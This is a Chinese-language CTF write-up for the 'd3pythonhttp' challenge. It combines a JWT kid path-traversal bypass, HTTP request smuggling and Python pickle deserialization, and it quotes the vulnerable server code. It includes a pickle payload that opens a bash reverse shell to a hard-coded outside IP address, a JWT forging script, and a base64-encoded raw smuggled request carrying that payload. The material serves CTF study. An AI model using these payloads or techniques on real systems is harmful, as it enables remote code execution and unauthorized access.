d3pythonhttp
考点:Pickle反序列化+HTTP请求走私+Python内存马
Python
class backdoor:
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"
@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)
绕过verify_token打pickle反序列化漏洞。
Python
def get_key(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
except:
pass
print(key)
return key
def verify_token(token):
header = jwt.get_unverified_header(token)
kid = header["kid"]
key = get_key(kid)
try:
payload = jwt.decode(token, key, algorithms=["HS256"])
return True
except:
return False
kid可控,即key文件路径可控,可以尝试指定一个已知文件进行jwt验证从而绕过。
它有一个verify_signature: False的选项是什么意思,不验证签名吗
应该是的,所以大概只要过了verify_token就没有进一步验证了
Payload
Python
import pickle, os, base64
class m(object):
def __reduce__(self):
return (os.system,("bash -c 'bash -i &> /dev/tcp/119.91.208.190/4000 0<&1'",))
print(base64.b64encode(pickle.dumps(m())))
Exp
Python
import jwt
kid = "../etc/host.conf"
def get_jwt(kid):
key = ""
dir = "/app/"
try:
with open(dir+kid, "r") as f:
key = f.read()
token = {"username": "m", "isadmin": True}
payload = jwt.encode(token, key, algorithm="HS256", headers={"kid": kid})
print(payload)
except:
print("ERR")
get_jwt(kid)
JavaScript
class backdoor:
def POST(self):
data = web.data()
# fix this backdoor
if b"BackdoorPasswordOnlyForAdmin" in data:
return "You are an admin!"
else:
data = base64.b64decode(data)
pickle.loads(data)
return "Done!"
只有admin身份才能转发给后端,然后不是admin才能进行pickle反序列化
JavaScript
@app.route('/backend', methods=['GET', 'POST'])
def proxy_to_backend():
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != "Host"}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
conn.request(method, path, body=data, headers=headers)
response = conn.getresponse()
return response.read()
它做了一个拿数据转发的操作,好像没鉴权
backend为后端路由,要通过backend代理转发
admin路由和非admin路由的区别是通过admin访问后端时,会添加特定的数据格式:
JavaScript
@app.route('/admin', methods=['GET', 'POST'])
def admin():
token = request.cookies.get('token')
if token and verify_token(token):
if request.method == 'POST':
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
forward_url = "python-backend:8080"
conn = http.client.HTTPConnection(forward_url)
method = request.method
headers = {key: value for (key, value) in request.headers if key != 'Host'}
data = request.data
path = "/"
if request.query_string:
path += "?" + request.query_string.decode()
if headers.get("Transfer-Encoding", "").lower() == "chunked":
data = "{}\r\n{}\r\n0\r\n\r\n".format(hex(len(data))[2:], data.decode())
if "BackdoorPasswordOnlyForAdmin" not in data:
return "You are not an admin!"
conn.request(method, "/backdoor", body=data, headers=headers)
return "Done!"
else:
return "You are not an admin!"
else:
if jwt.decode(token, algorithms=['HS256'], options={"verify_signature": False})['isadmin']:
return "Welcome admin!"
else:
return "You are not an admin!"
else:
return redirect("/login", code=302)
通过添加一些特定的数据,进行HTTP请求走私(一个请求嵌套两个请求?)在额外的请求中包含payload,从而执行pickle反序列化反弹shell.写内存马
请求走私通常通过修改Content-Length头等来控制请求包被读取的长度,从而导致未被读取的数据被识别进入下一个HTTP请求数据包.需要让发送的时候是一个包含BackdoorPasswordOnlyForAdmin
的请求,然后隔断成两个
举个例子
JavaScript
POST / HTTP/1.1
Host: vulnerable-server.com
Content-Length: 13
Content-Length: 6
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-server.com
根据服务器和代理的具体处理差异,可能会导致后续的 GET /admin
请求被当作一个独立的请求处理。
https://websec.readthedocs.io/zh/latest/vuln/httpSmuggling.html
不出网只能写内存马(
Python
POST /backdoor HTTP/1.1
Host: python-backend:8080
Content-Type: text/plain
Content-Length: 124
gASVUQAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjDZiYXNoIC1jICdiYXNoIC1pICY+IC9kZXYvdGNwLzExOS45MS4yMDguMTkwLzQwMDAgMDwmMSeUhZRSlC4=